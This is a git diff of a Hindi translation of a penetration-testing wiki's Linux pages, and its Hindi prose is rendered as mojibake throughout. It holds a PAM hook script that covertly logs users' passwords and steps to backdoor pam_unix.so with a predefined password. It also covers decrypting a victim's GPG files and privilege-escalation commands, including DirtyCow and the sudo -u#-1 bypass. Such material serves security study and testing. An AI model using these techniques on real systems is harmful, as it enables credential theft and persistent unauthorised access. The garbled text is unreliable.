рд╕реНрдХреНрд░рд┐рдкреНрдЯ `toomanysecrets.sh` рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ рдЬреЛ login attempts рдХреЛ рд▓реЙрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП date, username (`$PAM_USER`), password (stdin рдХреЗ рдЬрд░рд┐рдП), рдФрд░ remote host IP (`$PAM_RHOST`) рдХреЛ `/var/log/toomanysecrets.log` рдореЗрдВ capture рдХрд░рддреА рд╣реИред +- рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ executable рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ `pam_exec.so` module рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ PAM configuration (`common-auth`) рдореЗрдВ integrate рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рд╕рд╛рде рддрд╛рдХрд┐ рдпрд╣ рдЪреБрдкрдЪрд╛рдк рдЪрд▓реЗ рдФрд░ authentication token рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП expose рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +- рдпрд╣ рддрд░реАрдХрд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдПрдХ compromised Linux host рдХреЛ exploit рдХрд░рдХреЗ credentials рдХреЛ рдЧреБрдкреНрдд рд░реВрдк рд╕реЗ log рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -32,30 +31,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. рдпрд╣ рд╕рд┐рд░реНрдл рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИ: +**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9) рджреЗрдЦреЗрдВ**ред рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИ: -The Pluggable Authentication Module (PAM) рдПрдХ рд╕рд┐рд╕реНрдЯрдо рд╣реИ рдЬреЛ Linux рдХреЗ рддрд╣рдд user authentication рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рддреАрди рдореБрдЦреНрдп рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ: **username**, **password**, рдФрд░ **service**. рдкреНрд░рддреНрдпреЗрдХ service рдХреЗ рд▓рд┐рдП configuration files `/etc/pam.d/` рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИрдВ, рдЬрд╣рд╛рдБ shared libraries authentication рдХреЛ рд╕рдВрднрд╛рд▓рддреА рд╣реИрдВред +Pluggable Authentication Module (PAM) Linux рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдПрдХ рдкреНрд░рдгрд╛рд▓реА рд╣реИред рдпрд╣ рддреАрди рдореБрдЦреНрдп рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ: **username**, **password**, рдФрд░ **service**ред рдкреНрд░рддреНрдпреЗрдХ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП configuration files `/etc/pam.d/` рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИрдВ, рдЬрд╣рд╛рдБ shared libraries рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рд╕рдВрднрд╛рд▓рддреА рд╣реИрдВред -**Objective**: PAM рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХрд░рдХреЗ рдПрдХ рд╡рд┐рд╢реЗрд╖ password рдХреЗ рд╕рд╛рде authentication рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛, рд╡рд╛рд╕реНрддрд╡рд┐рдХ user password рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ред рдпрд╣ рдЦрд╛рд╕рдХрд░ `pam_unix.so` shared library рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ рдЬреЛ `common-auth` рдлрд╛рдЗрд▓ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддреА рд╣реИ, рдФрд░ рд▓рдЧрднрдЧ рд╕рднреА services рджреНрд╡рд╛рд░рд╛ password verification рдХреЗ рд▓рд┐рдП рд╢рд╛рдорд┐рд▓ рдХреА рдЬрд╛рддреА рд╣реИред +**рдЙрджреНрджреЗрд╢реНрдп**: PAM рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рдХрд┐ рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ password рдХреЗ рд╕рд╛рде authentication рдХреА рдЕрдиреБрдорддрд┐ рджреЗ, рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдмрд╛рдЗрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдПред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ `pam_unix.so` shared library рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ `common-auth` рдлрд╝рд╛рдЗрд▓ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ password verification рдХреЗ рд▓рд┐рдП рд▓рдЧрднрдЧ рд╕рднреА рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ### Steps for Modifying `pam_unix.so`: 1. **Locate the Authentication Directive** in the `common-auth` file: -- рд╡рд╣ рд▓рд╛рдЗрди рдЬреЛ рдХрд┐рд╕реА user рдХреЗ password рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, `pam_unix.so` рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИред +- рд╡рд╣ рд▓рд╛рдЗрди рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ password рдЬрд╛рдБрдЪрддреА рд╣реИ, `pam_unix.so` рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИред 2. **Modify Source Code**: -- `pam_unix_auth.c` source file рдореЗрдВ рдПрдХ conditional рдХрдерди рдЬреЛрдбрд╝реЗрдВ рдЬреЛ predefined password рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реЛрдиреЗ рдкрд░ access рджреЗрддрд╛ рд╣реИ, рдЕрдиреНрдпрдерд╛ рд╕рд╛рдорд╛рдиреНрдп authentication рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдЖрдЧреЗ рдмрдврд╝рддрд╛ рд╣реИред +- `pam_unix_auth.c` source рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХ conditional statement рдЬреЛрдбрд╝реЗрдВ рдЬреЛ рдпрджрд┐ predefined password рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рддреЛ access рджреЗ рджреЗ; рдЕрдиреНрдпрдерд╛ рд╕рд╛рдорд╛рдиреНрдп authentication рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЬрд╛рд░реА рд░рд╣реЗред 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 4. **Testing**: -- рд╡рд┐рднрд┐рдиреНрди services (login, ssh, sudo, su, screensaver) рдкрд░ predefined password рдХреЗ рд╕рд╛рде access рдорд┐рд▓рддреА рд╣реИ, рдЬрдмрдХрд┐ рд╕рд╛рдорд╛рдиреНрдп authentication рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рд╣реЛрддреАрдВред +- predefined password рдХреЗ рд╕рд╛рде рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛рдУрдВ (login, ssh, sudo, su, screensaver) рдореЗрдВ access рдорд┐рд▓рддреА рд╣реИ, рдЬрдмрдХрд┐ рд╕рд╛рдорд╛рдиреНрдп authentication рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рд╣реЛрддреАрдВред > [!TIP] -> рдЖрдк рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдСрдЯреЛрдореЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +> рдЖрдк рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) рдХреЗ рд╕рд╛рде рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ -## Decrypting GPG loot via homedir relocation +## Homedir relocation рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ GPG loot рдХреЛ Decrypt рдХрд░рдирд╛ -рдпрджрд┐ рдЖрдкрдХреЛ рдПрдХ encrypted `.gpg` рдлрд╛рдЗрд▓ рдФрд░ рдПрдХ user рдХрд╛ `~/.gnupg` рдлреЛрд▓реНрдбрд░ (pubring, private-keys, trustdb) рдорд┐рд▓рддрд╛ рд╣реИ рдкрд░ рдЖрдк GnuPG homedir permissions/locks рдХреЗ рдХрд╛рд░рдг decrypt рдирд╣реАрдВ рдХрд░ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ keyring рдХреЛ рдХрд┐рд╕реА writable рд╕реНрдерд╛рди рдкрд░ рдХреЙрдкреА рдХрд░реЗрдВ рдФрд░ рдЙрд╕реЗ рдЕрдкрдиреЗ GPG home рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +рдпрджрд┐ рдЖрдк рдПрдХ encrypted `.gpg` рдлрд╝рд╛рдЗрд▓ рдФрд░ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ `~/.gnupg` рдлрд╝реЛрд▓реНрдбрд░ (pubring, private-keys, trustdb) рдкрд╛рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди GnuPG homedir permissions/locks рдХреЗ рдХрд╛рд░рдг decrypt рдирд╣реАрдВ рдХрд░ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ keyring рдХреЛ рдХрд┐рд╕реА writable location рдкрд░ рдХреЙрдкреА рдХрд░реЗрдВ рдФрд░ рдЙрд╕реЗ рдЕрдкрдирд╛ GPG home рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -рдмрд┐рдирд╛ рдпрд╣ рдХрд░рдиреЗ рдкрд░ рд╕рд╛рдорд╛рдиреНрдп рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЬреЛ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ: "unsafe ownership on homedir", "failed to create temporary file", рдпрд╛ "decryption failed: No secret key" (рдХреНрдпреЛрдВрдХрд┐ GPG рдореВрд▓ homedir рдХреЛ read/write рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛)ред +рдмрд┐рдирд╛ рдЗрд╕ рдХрджрдо рдХреЗ рдЖрдо рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЬреЛ рджрд┐рдЦрд╛рдИ рджреЗрдВрдЧреА: "unsafe ownership on homedir", "failed to create temporary file", рдпрд╛ "decryption failed: No secret key" (рдХреНрдпреЛрдВрдХрд┐ GPG рдореВрд▓ homedir рдХреЛ рдкрдврд╝/рд▓рд┐рдЦ рдирд╣реАрдВ рд╕рдХрддрд╛)ред Workflow: ```bash @@ -70,9 +69,9 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -рдпрджрд┐ рдЧреБрдкреНрдд рдХреБрдВрдЬреА рд╕рд╛рдордЧреНрд░реА `private-keys-v1.d` рдореЗрдВ рдореМрдЬреВрдж рд╣реИ, рддреЛ GPG рдкрд╛рд╕рдлрд╝реНрд░реЗрдЬрд╝ рдХреЗ рдмрд┐рдирд╛ рдЕрдирд▓реЙрдХ рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рджреЗрдЧрд╛ (рдпрд╛ рдпрджрд┐ рдХреБрдВрдЬреА рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рддреЛ рдпрд╣ рдкреВрдЫреЗрдЧрд╛)ред +рдпрджрд┐ рдЧреБрдкреНрдд рдХреБрдВрдЬреА рд╕рд╛рдордЧреНрд░реА `private-keys-v1.d` рдореЗрдВ рдореМрдЬреВрдж рд╣реИ, рддреЛ GPG рдмрд┐рдирд╛ passphrase рдХреЗ рдкреВрдЫреЗ unlock рдФрд░ decrypt рдХрд░ рджреЗрдЧрд╛ (рдпрд╛ рдпрджрд┐ key protected рд╣реИ рддреЛ рдпрд╣ prompt рдХрд░реЗрдЧрд╛)ред -## рд╕рдВрджрд░реНрдн +## References - [0xdf тАУ HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) - [GnuPG Manual тАУ Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 718291700..905082126 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## рд╕рд┐рд╕реНрдЯрдо рдЬрд╛рдирдХрд╛рд░реА -### OS info +### OS рдЬрд╛рдирдХрд╛рд░реА -рдЖрдЗрдП рдЪрд▓ рд░рд╣реЗ OS рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдЗрдХрдЯреНрдард╛ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ +рдЖрдЗрдП рдЪрд▓ рд░рд╣реЗ OS рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рд╣рд╛рд╕рд┐рд▓ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВред ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,28 +14,28 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -рдпрджрд┐ рдЖрдк **have write permissions on any folder inside the `PATH`** variable рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ libraries рдпрд╛ binaries рдХреЛ hijack рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдк **`PATH` рд╡реИрд░рд┐рдПрдмрд▓ рдХреЗ рдХрд┐рд╕реА рднреА рдлрд╝реЛрд▓реНрдбрд░ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд░рдЦрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХреБрдЫ рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдпрд╛ рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash echo $PATH ``` ### Env рдЬрд╛рдирдХрд╛рд░реА -рдХреНрдпрд╛ environment variables рдореЗрдВ рдХреЛрдИ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА, passwords рдпрд╛ API keys рд╣реИрдВ? +рдХреНрдпрд╛ environment variables рдореЗрдВ рдХреЛрдИ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА, рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ API keys рд╣реИрдВ? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -kernel version рдЬрд╛рдВрдЪреЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреЛрдИ рдРрд╕рд╛ exploit рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдХреЗ privileges escalate рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред +kernel version рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреЛрдИ exploit рд╣реИ рдЬрд┐рд╕реЗ escalate privileges рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рдЕрдЪреНрдЫреА vulnerable kernel рд╕реВрдЪреА рдФрд░ рдХреБрдЫ рдкрд╣рд▓реЗ рд╕реЗ **compiled exploits** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) рдФрд░ [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рдЕрдЪреНрдЫреА vulnerable kernel list рдФрд░ рдХреБрдЫ рдкрд╣рд▓реЗ рд╕реЗ **compiled exploits** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ рдЕрдиреНрдп рд╕рд╛рдЗрдЯреЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдХреБрдЫ **compiled exploits** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -рдЙрд╕ рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╕реЗ рд╕рднреА vulnerable kernel рд╕рдВрд╕реНрдХрд░рдг рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЙрд╕ рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╕реЗ рд╕рднреА vulnerable kernel versions рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ kernel exploits рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рд╡рд╛рд▓реЗ [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim рдореЗрдВ execute рдХрд░реЗрдВ, рдХреЗрд╡рд▓ kernel 2.x рдХреЗ рд▓рд┐рдП exploits рд╣реА рдЬрд╛рдБрдЪрддрд╛ рд╣реИ) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -рд╣рдореЗрд╢рд╛ **Google рдореЗрдВ kernel version рдЦреЛрдЬреЗрдВ**, рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХрд╛ kernel version рдХрд┐рд╕реА kernel exploit рдореЗрдВ рд▓рд┐рдЦрд╛ рд╣реЛ рдФрд░ рддрдм рдЖрдк рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рдкрд╛рдПрдБрдЧреЗ рдХрд┐ рдпрд╣ exploit рд╡реИрдз рд╣реИред +Always **Google рдореЗрдВ kernel version рдЦреЛрдЬреЗрдВ**, рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЖрдкрдХрд╛ kernel version рдХрд┐рд╕реА kernel exploit рдореЗрдВ рд▓рд┐рдЦрд╛ рд╣реЛ рдФрд░ рддрдм рдЖрдк рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рд╕рдХреЗрдВрдЧреЗ рдХрд┐ рдпрд╣ exploit рд╡реИрдз рд╣реИред ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Sudo рд╕рдВрд╕реНрдХрд░рдг -рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ vulnerable sudo versions рдХреЗ рдЖрдзрд╛рд░ рдкрд░: +рдЙрди рдХрдордЬреЛрд░ sudo рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЬреЛ рдкреНрд░рдХрдЯ рд╣реЛрддреЗ рд╣реИрдВ: ```bash searchsploit sudo ``` -рдЖрдк рдЗрд╕ grep рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ sudo рд╕рдВрд╕реНрдХрд░рдг vulnerable рд╣реИ рдпрд╛ рдирд╣реАрдВред +рдЖрдк рдЗрд╕ grep рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ sudo рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг рдХрдордЬреЛрд░ рд╣реИ рдпрд╛ рдирд╣реАрдВред ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,18 +75,18 @@ sudo -u#-1 /bin/bash ``` ### Dmesg рд╕рд┐рдЧреНрдиреЗрдЪрд░ рд╕рддреНрдпрд╛рдкрди рд╡рд┐рдлрд▓ -**smasher2 box of HTB** рдореЗрдВ рдЗрд╕ vuln рдХреЛ рдХреИрд╕реЗ exploited рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдПрдХ **рдЙрджрд╛рд╣рд░рдг** рджреЗрдЦреЗрдВ +рджреЗрдЦреЗрдВ **smasher2 box of HTB** тАФ рдЗрд╕ vuln рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ **рдЙрджрд╛рд╣рд░рдг**ред ```bash dmesg 2>/dev/null | grep "signature" ``` -### рдФрд░ system enumeration +### рдЕрдзрд┐рдХ system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ +## рд╕рдВрднрд╛рд╡рд┐рдд рд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреА рд╕реВрдЪреА ### AppArmor ```bash @@ -123,16 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -рдпрджрд┐ рдЖрдк docker container рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: - +рдЕрдЧрд░ рдЖрдк рдХрд┐рд╕реА docker container рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: {{#ref}} docker-security/ {{#endref}} -## рдбреНрд░рд╛рдЗрд╡реНрд╕ +## Drives -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ **рдХреНрдпрд╛ mounted рдФрд░ unmounted рд╣реИ**, рдХрд╣рд╛рдБ рдФрд░ рдХреНрдпреЛрдВред рдЕрдЧрд░ рдХреБрдЫ рднреА unmounted рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ mount рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ **рдХреНрдпрд╛ mounted рдФрд░ unmounted рд╣реИ**, рдХрд╣рд╛рдБ рдФрд░ рдХреНрдпреЛрдВред рдЕрдЧрд░ рдХреБрдЫ рднреА unmounted рд╣реИ рддреЛ рдЖрдк рдЗрд╕реЗ mount рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ **рдХреЛрдИ compiler рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИ**ред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЕрдЧрд░ рдЖрдкрдХреЛ рдХрд┐рд╕реА kernel exploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдкрдбрд╝реЗ, рдХреНрдпреЛрдВрдХрд┐ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рдЗрд╕реЗ рдЙрд╕реА рдорд╢реАрди рдкрд░ compile рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╣реИрдВ (рдпрд╛ рдХрд┐рд╕реА рд╕рдорд╛рди рдорд╢реАрди рдкрд░)ред +рд╕рд╛рде рд╣реА, рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ **any compiler is installed**ред рдпрд╣ рддрдм 